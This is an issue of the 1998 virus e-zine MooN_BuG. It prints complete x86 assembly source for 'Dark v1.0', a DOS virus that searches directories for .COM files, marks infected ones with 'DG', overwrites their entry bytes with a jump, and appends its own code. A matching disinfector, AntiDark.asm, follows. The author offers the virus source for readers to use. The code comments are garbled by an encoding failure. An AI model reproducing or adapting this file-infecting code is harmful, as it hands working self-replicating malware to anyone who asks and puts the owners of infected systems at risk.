[TulaAnti&ViralClub] PRESENTS ... MooN_BuG, Issue 7, Sep 1998 file 00D 旼컴컴컴컴컴 旼컴컴컴컴� 旼컴컴컴컴� 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴컴컴컴� 旼컴컴컴컴컴� 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴 旼컴컴컴컴컴 旼컴컴컴컴� 旼컴 旼컴 $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $� � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �$ $� Dark � Side � Alliance � � � DSA � � � Under � The � Dark �$ $� � � � � � � � � � � � � � � � � � � � � � � � � � � � � � � �$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ Dark v1.0 virus (c) DarkGrey //[DSA] 1998 === Cut === Dark.asm ; "Dark v1.0" virus ; Noresident, infected *.com (no check for renamed exe) ; (c) DarkGrey //[DSA] 1998 ; ; P.S Use this source who needed your ,but ; please don't give this lamer's & "chainik's" :) ; model tiny .code .startup jumps xor si,si ; 볚�젺�˘� 丞젳졻�レ 췅 �乘� , αエ щ � ��歲收ゥ jmp @@99 ; 췅 �昔璵ㅳ說 쭬�젲��⑨ ;------- ; ℓα� 췅葉췅β碎 ˘說說硫 ぎ� ic: ; call nsw ; �倚說畑� 聲�� ip nsw: ; pop dx ; ip � dx sub dx,offset nsw ; �揖ⓥ젰� 細θ���� �狩�歲收レ�� nsw mov si,dx ; ;-------- ; push si ; 貰魚젺畑� si mov di,offset dta ; add di,si ; mov cx,20h ; mov si,80h ; cld ; rep movsb ; 貰魚젺畑� dta pop si ; ¡飡젺젪エ쥯�� si ;-------- @@99: ; ;-------- mov ah,3bh mov dx,offset nd add dx,si ; int 21h ; 룯誓若� 췅 �ㄽ� ㄸ�. �泣�. ;-------- ; mov ah,4eh ; 덅�� *.com mov dx,offset ff ; add dx,si ; xor cx,cx ; int 21h ; jc free ; αエ �①ⅲ� �� 췅獄� - 췅 �音�� call @@87 ; αエ 췅獄� - 쭬�젲젰� ;-------- @@2: mov ah,3eh mov bx,[handw+si] int 21h mov ah,4fh ; ��™�� ��ⓤ첓 mov dx,offset ff add dx,si xor cx,cx int 21h cmp ax,12h ; αエ ‘レ蜈 �β *.com 獸 췅 �音�� je free call @@87 jmp @@2 ;--------- @@87: mov ah,3dh ; �洙贍쥯�� �젵� mov dx,9eh ; �� dta mov al,2 ; ㄻ� 쭬�ⓤ� � 譽��⑨ int 21h mov [handw+si],ax ; 貰魚젺畑� 也�ㄻ �洙贍獸． �젵쳽 ;-------- mov ah,42h ; mov bx,[handw+si] ; xor cx,cx ; xor dx,dx ; mov al,2 ; int 21h ; �揖ⓤワ�� �젳Д� �젵쳽 , �吟�젪ワ� 丞젳졻�レ ; 췅 ぎ�ζ �젵쳽 ;-------- mov [rfz+si],ax ; 貰魚젺畑� �젳Д� ;-------- mov ah,42h ; ��誓��歲� 丞젳졻�レ 췅 ぎ�ζ �젵쳽-4 xor cx,cx mov bx,[handw+si] mov dx,[rfz+si] sub dx,4 xor al,al int 21h ;-------- mov ah,3fh ; 葉�젰� �� �젵쳽 mov cx,2 mov dx,offset im mov bx,[handw+si] add dx,si int 21h ;-------- cmp [im+0+si],'D' ; �昔´夕� , �� 쭬�젲�� エ 拾� �젵� je @@2 cmp [im+1+si],'G' ; 2 ---///---///--- je @@2 ; αエ 拾� 쭬�젲��� 獸 췅 �音�� ;-------- mov ah,42h ; ��誓��歲� 丞젳졻�レ 췅 췅�젷� �젵쳽 mov bx,[handw+si] xor cx,cx xor dx,dx xor al,al int 21h ;-------- mov ah,3fh ; 葉�젰� ��舒瑜 3 줎⒱� mov dx,offset oldb add dx,si mov bx,[handw+si] mov cx,3 int 21h ;-------- mov ah,42h ; 說�쥯 췅 췅�젷� �젵쳽 mov bx,[handw+si] xor cx,cx xor dx,dx xor al,al int 21h ;-------- mov ah,40h ; �②�� jmp 췅 聲�� ぎ� mov bx,[handw+si] mov cx,3 mov dx,[rfz+si] sub dx,3 mov [buf+1+si],dx mov dx,offset buf add dx,si int 21h ;-------- mov ah,42h ; ��誓��歲� 丞젳졻�レ 췅 ぎ�ζ �젵쳽 mov bx,[handw+si] xor cx,cx xor dx,dx mov al,2 int 21h ;-------- mov ah,40h ; �②�� ˘說說硫 ぎ� mov dx,offset ic add dx,si mov bx,[handw+si] mov cx,[uncbt+si] int 21h ;-------- mov ah,3eh ; 쭬む猶젰� �젵� mov bx,[handw+si] int 21h ret ; ¡㎖�졻 ;-------- fuck: int 20h ; αエ 譽� 獸 �� �젶 �乙嵩젰п� ;-------- free: cmp word ptr cs:[0100h],0f633h ; �昔´夕� , ��舒좑 ぎ쵟쩆 ; � �젵ゥ xor si,si ? je fuck ; αエ �젶 獸 щ � ��歲收ゥ :))) ;-------- mov ax,si ; ¡飡젺젪エ쥯�� dta mov si,offset dta add si,ax mov cx,20h mov di,80h cld rep movsb mov si,ax ;-------- mov cx,3 ; ¡飡젺젪エ쥯�� ��舒瑜 3 줎⒱� xor bp,bp mov di,0100h @@56: mov al,[oldb+bp+si] inc bp stosb loop @@56 ;-------- mov di,0100h ; �搜젰� 承�젪ゥ��� �젵ャ jmp di ret ;----- ff db '*.com',0 ; 쵟稅� ㄻ� ��ⓤ첓 oldb db 3 dup (?) ; 飡졷瑜 3 줎⒱� rfz dw 0 ; �젳Д� �젵쳽 buf dw 0E9h ; ��ぎ� - jmp XXXX dw 0000 handw dw 1 ; ㄻ� 也�ㄻ� im db 2 dup (?) ; ▲狎�� ㄻ� 譽��⑨ dta db 20h dup (?) ; ▲狎�� ㄻ� dta db 'D','G' ; �ⅰ�レ溫� ぎ�ⓣ젵� :) nd db '..',0 ; ��誓若� 췅 �泣�. ㄸ誓も�黍� uncbt dw $-ic+2 ; �젳Д� ˘說說�． ぎ쩆. end === Cut === === Cut === AntiDark.asm model tiny .code .startup jumps ;-------- mov ah,09h mov dx,offset msg int 21h ;-------- mov ah,4eh mov dx,offset mk xor cx,cx int 21h cmp ax,12h je eof call show call check cmp ax,0ffffh je @@21 jmp @@90 ;-------- show: mov ah,09h mov dx,offset nf int 21h ;------ mov ah,40h mov dx,9eh mov cx,13 mov bx,1 int 21h ;------ call shnul ret ;------ check cure ? @@21: mov ah,09h mov dx,offset yei int 21h mov ah,00h int 16h push ax call shnul call shnul pop ax cmp al,'y' je cure cmp al,'Y' je cure ;-------- @@90: mov ah,3eh mov bx,[hw] int 21h jc errs mov ah,4fh mov dx,offset mk int 21h cmp ax,12h je eof ;------ call show call check cmp ax,0ffffh je @@21 jmp @@90 ;------ check: mov ah,3dh mov dx,9eh mov al,2 int 21h mov [hw],ax jc errs ;-------- mov ah,42h mov bx,[hw] xor cx,cx xor dx,dx mov al,2 int 21h jc errs ;-------- mov [rfz],ax ;-------- mov ah,42h xor cx,cx mov bx,[hw] mov dx,[rfz] sub dx,4 xor al,al int 21h jc errs ;-------- mov ah,3fh mov cx,2 mov dx,offset im mov bx,[hw] int 21h jc errs ;-------- cmp [im+0],'D' jne @@98 cmp [im+1],'G' jne @@98 ;------- mov ax,0ffffh ret @@98: call shnul mov ah,09h mov dx,offset nof int 21h call shnul ret ;-------- cure: mov ah,42h mov bx,[hw] xor cx,cx mov dx,[rfz] sub dx,49 mov al,0 int 21h jc errs ;------- mov ah,3fh mov cx,3 mov bx,[hw] mov dx,offset buf int 21h jc errs ;------- mov ah,42h xor cx,cx xor dx,dx xor al,al mov bx,[hw] int 21h jc errs ;------ mov ah,40h mov bx,[hw] mov cx,3 mov dx,offset buf int 21h jc errs ;----- mov ah,09h mov dx,offset cr int 21h ;------- call shnul ;------- jmp @@90 ;-------- eof: mov ah,9 mov dx,offset eom int 21h int 20h ;-------- errs: mov ah,9 mov dx,offset erm int 21h int 20h ;-------- shnul: mov ah,09h mov dx,offset nul int 21h ret ;-------- mk db '*.com',0 msg db 'Anti "Dark v1.0" virus (c) DarkGrey',13,10,13,10,'$' eom db 'End file''s',13,10,'$' erm db 'I/O Error!','$' nf db 'Found file : ','$' nof db 'Not infected',13,10,'$' yei db 'This file infected "Dark v1.0" virus , cure this ? [y/n]','$' cr db 'Cured!',13,10,'$' hw dw 0 rfz dw 0 nul db 13,10,'$' im db 0 buf db 3 dup (?) end === Cut ===